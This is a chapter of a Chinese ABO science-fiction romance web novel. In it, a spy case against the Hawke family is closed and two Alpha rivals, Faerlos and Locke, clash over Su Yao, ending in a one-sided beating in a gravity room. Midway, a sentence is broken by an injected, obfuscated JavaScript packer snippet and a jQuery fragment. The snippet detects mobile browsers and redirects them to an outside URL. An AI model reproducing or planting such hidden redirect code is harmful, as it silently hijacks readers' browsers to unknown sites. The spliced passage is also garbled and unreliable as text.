113. 争锋

    终于,第七天时,一切尘埃落定。


    在苏遥和阿芙拉默契十足地忽悠下,军方疑罪从无,调查报告写下源力物质被虚空虫转移的结论。


    而另一边,法尔洛斯带队逮捕霍克家族的行动也很顺利。


    苏遥他们的雷霆行动绕过军方,打了霍克家族一个措手不及。法尔洛斯拿着证据直接请示威廉元帅,元帅大手一挥,派了他的亲兵接手,绕过其他军部将领,特事特办把霍克家族全逮了。


    因牵扯到了虫族,威廉元帅非常重视。


    厄根准将亲自开的刑讯室,审得霍克家族上下精神崩溃,哭求一个速死,却愣是没审出来这群人谁和虫族有勾结。


    厄根琢磨着事有蹊跷,扩大审讯范围,连霍克家的一条狗都没放过,终于从家主索伦·霍克的十几位情妇中找到了一条线索。


    “……事情就是这样,元帅。”


    最高指挥室里,厄根准将将这位虫族间谍的情妇的口供如实陈述:


    “因为帝都这半年各处街头都装载了针对噬脑虫的‘神经扫描仪’,那些狡猾的虫子将控制间谍的手段革新,不,复古了。它们现在用药物控制这些间谍,对他们的掌控力弱了很多。”


    厄根准将拿出一份数据报告。


    “这是那位女间谍身体中的残余药物成分分析。”


    最高指挥室中央,书桌后的威廉·沃特斯元帅抬起眼。


    年迈的元帅身着笔挺的军装,精神矍铄,胸口的大小勋章闪耀着辉煌的过往,整个人如一座不倒的山岳,散发着令人敬畏的威严。


    厄根准将低下头。


    面对着这位威名赫赫,带领第十六军无数次从虫山血海中爬出来的老将,连他这样可止小儿夜啼的狠辣角色,都被衬得眉目清秀了起来。


    老元帅接过药物分析报告,搭眼一扫,开始翻看女间谍的口供。


    目光在几条重要情报上停顿。


    女间谍招供,她被安排了潜入霍克家族的任务,每月领取解药时,会将最近收集到的情报上交虫使。


    就在上个月,她给虫使发了条密报。


    【索伦·霍克身体状态重回二十岁,怀疑服用了新型生物特效药。】


    如此,一切都对上了。


    虫族收到密报,对能使人变年轻的药物起了兴趣,展开对霍克家族的调查,恰好在找到线索时和那群军校生在工厂地下实验室相遇。


    说得通。


    老元帅继续向后看。


    【半年前,虫族派遣了两百位Ao间谍潜入帝都,分散到各个行业和家族待命。】


    再往后,是几副专家手绘的间谍画像。


    其余,再没有什么值得注意的消息。


    可见这位间谍在虫族只是个底层小喽啰。


    老元帅:“她现在可活着?”


    “已毒发身亡了。”厄根准将告罪:“是我的责任。”


    他逮捕这位间谍迟了两日,白白浪费了许多审讯的时间。


    老元帅重新拿起那份药物分析报告。


    “召集帝都那几个医药世家家主。”年迈的元帅目光睿智凌厉,思路清晰地指示。“放出消息,联邦已破译虫族控制间谍的解药配方。”


    厄根准将领命。


    “至于这几位……”


    老元帅将画像拍在桌面,淡淡道:“暗中监视,不要打草惊蛇。”


    底层间谍能接触到的,无非也就一些小喽啰。


    抓上一百个也不能将虫族伤筋动骨。


    但如果能趁机截获虫族的秘药……


    威廉元帅指头轻点桌面的动作定住。


    …


    霍克家族的事情完结后,苏遥一行人被威廉元帅的亲兵亲自送回克利夫兰。


    只有阿芙拉和爱玛身体尚未痊愈,还在军医院修养。


    “我们临走前不能和她俩见一面么?”苏遥问护送的士兵。


    “抱歉,暂时不能。”士兵态度很好,但语气坚决:“以后总会有机会的!”


    “好吧。”苏遥感觉有些奇怪。


    但阿芙拉肯定没暴露什么事,否则她们仨早进刑讯室了。


    送行克利夫兰旅游小分队的军部飞船降落。


    苏遥和洛克牵着手登陆时,正面迎上船舱里向外走的法尔洛斯。


    法尔洛斯是送行队伍的领队。


    他脚步一顿。


    苏遥心里叹了叹,反而挽住洛克的臂弯。


    该来的这天还是要来的。


    “你生日是不是快到了,亲爱的?”她问。


    洛克眼角余光扫到法尔洛斯,顿了顿,搂住她的腰。


    “是,你想要什么?”


    立体的鼻骨蹭上她耳廓,亲密得旁若无人。


    苏遥耳朵痒痒的。


    “你过生日,不该我送礼物吗?”她嗔。


    洛克低声笑了笑,和她十指交握。


    “我想要的,已经拿到了。”


    他抬眼,看着格外沉默的法尔洛斯,意味不明地挑眉。


    像示威,像警告。


    克利夫兰的其他人一一和法尔洛斯问好。


    他们对这位前学长好感都很高。


    “上校竟亲自来了?”


    “上校辛苦了!”


    法尔洛斯勉强对他们笑了笑:“是,分内之事。”


    苏遥路过他身旁。


    年轻的上校回眸,鼻尖动了动,嗅到似是而非的清甜香味。


    混入了其他男人烈火般的气息。


    “法尔洛斯上校。”


    苏遥笑了笑:“那这一路就麻烦了,多谢!”


    她稍稍低头,脖颈细腻,一簇头发滑落耳畔。


    法尔洛斯指尖动了动,被那红毛小子抢先一步,别到她耳畔。


    那么亲密,一如她和他曾经那样。


    法尔洛斯终于正面瞧了洛克一眼。


    两位Alpha的目光正面交触。


    带着各自的立场,碰出暗流涌动的火花。


    “是你啊,柴尔德家的小少爷。”


    法尔洛斯冲洛克“友好”地伸出手,嗤了一声,“我和你叔叔认识,你小时候我还抱过你,你差点尿我身上。”


    苏遥呛了一下。


    转念一想,呃……法尔洛斯好像的确比洛克足足大了11岁!


    冷不丁被情敌以没想到的角度刺了一下。


    “法尔洛斯,叔叔,好。”洛克扯了扯唇角,握住他手,眼神指了指苏遥。“我女朋友。叔叔你应该认识。”


    洛克:“遥遥,叫叔叔。”


    苏遥:“……”


    法尔洛斯:“……”


    两人双手紧紧握住。


    那暗中的刀光剑影,旁的人全没感觉到。


    杰瑞第一个笑出声:“噗嗤。”


    他一向不能忍笑的,带着其他人跟着笑了。


    联邦最年轻的上校,被朋友的侄子年龄攻击了!


    有种诙谐的幽默感。


    几位元帅的亲兵也忍俊不禁,其中一个关系亲近的还想调侃一下长官,冷不丁瞅见法尔洛斯眼底笑意下的寒芒。


    妈呀,长官怎么生气了。


    立刻打了个哆嗦,目不斜视地踹了几脚旁边咧着嘴的战友。


    苏遥当然不会


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!''''.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new regexp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14596740|143781||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    管前夫叫叔叔。


    她捶了洛克几下,“别嘴贫,上校是长官呢。”


    这台阶,两个暗中较劲的Alpha却都不肯下。


    法尔洛斯含笑:“没想到你现在都变成我学弟了。”他仿佛来了兴致,朝重力室的方向侧头。“陪我练练?”


    洛克立刻应声:“行啊。”


    苏遥完全来不及阻止。


    等等,法尔洛斯今天怎么这么冲动?


    洛克也是,他凑上去不是给法尔洛斯当沙包捶吗?


    苏遥本意是想让法尔洛斯知难而退。


    她印象里,他是个很绅士的男人,决不会对已经有了男朋友的omega穷追不舍。


    怎么变得她这么陌生?


    “洛克,别。”苏遥拽住他。“你这是去找打。”


    “别担心,我必得去。”


    洛克安抚地捏了捏她的脸:“他不是好人,敢对你露出那种眼神。”


    他昂起下巴,冷笑:“我是打不过他,又如何?当你男人决不能是怯战的软蛋!”


    洛克立体的俊脸上,再次浮出那种桀骜张扬的野性。


    他轻轻推开苏遥,跟上法尔洛斯的脚步。


    少年的赤诚爱意如此直白。


    苏遥竟有一丝触动。


    明明两人最亲密灵魂相贴时,她都不曾感到这样的。


    苏遥闭了闭眼,摒弃那种无用的、陌生的感情。


    抬脚跟了过去。


    周围人此时大都没察觉异样,斯坦利羡慕死了:“少校亲自点拨,啧。他小时候怎么没抱过我?”


    “首先你得姓柴尔德。”


    凯奥翻了个白眼:“要不你现在过去抱一下少校。他揍不揍你我不知道,这群亲兵哥哥打得你满地找牙。”


    凯奥自以为讲了个很有趣的笑话,哈哈笑了两声,发现没人理他。


    扭头一看,旁边站岗的每位亲兵都一脸肃穆,冷汗津津,如逢大敌。


    第十六军威廉元帅手下的兵,哪个没被法尔洛斯拎进重力室揍得哭爹喊娘。


    此刻,他们终于确定了。


    ——出发前还心情颇好的长官,现在非常、非常、非常愤怒!


    …


    重力室里的战斗毫无悬念。


    洛克被一边倒的血虐。


    法尔洛斯给他留了脸,没对他的脸动手。


    但也只留了这一点面子。


    他毫不顾忌眼前的年轻人是故友的侄子,母校的后辈。简直像对仇人之子般,毫不留情地一次次将他踹倒在地。


    是,法尔洛斯甚至没用手。


    他遒劲有力的长腿,铁鞭般抽到洛克身上,踩着他的胸膛将他碾压在地。


    “我看你是猖狂惯了。”他低头俯视,眼神森然。“谁的人都敢碰。”


    法尔洛斯早已将苏遥当做未来的妻子。


    那日,他和苏遥分开时,已在她颈后留下足以维持一周的信息素标记。


    军校没人不认得他的气味。


    这小子明知苏遥心有所属,还敢公然带着他妻子来示威!


    狂妄!


    法尔洛斯眼中的杀意毫不掩饰。


    只这时候,他那温和谦逊的外交形象才逐渐模糊,让人突然后怕地意识到,他是位手上沾了无数鲜血,从战场归来的传奇将领。


    洛克硬是咽下喉头的血。


    他此刻连呼吸都艰难,胸腔传来撕裂般的钝痛,那里踩着法尔洛斯的鞋。


    “……滚!”


    洛克双目赤红,拽皱他一丝不苟的军装裤。


    “这里,只有她能踩……你,不配!”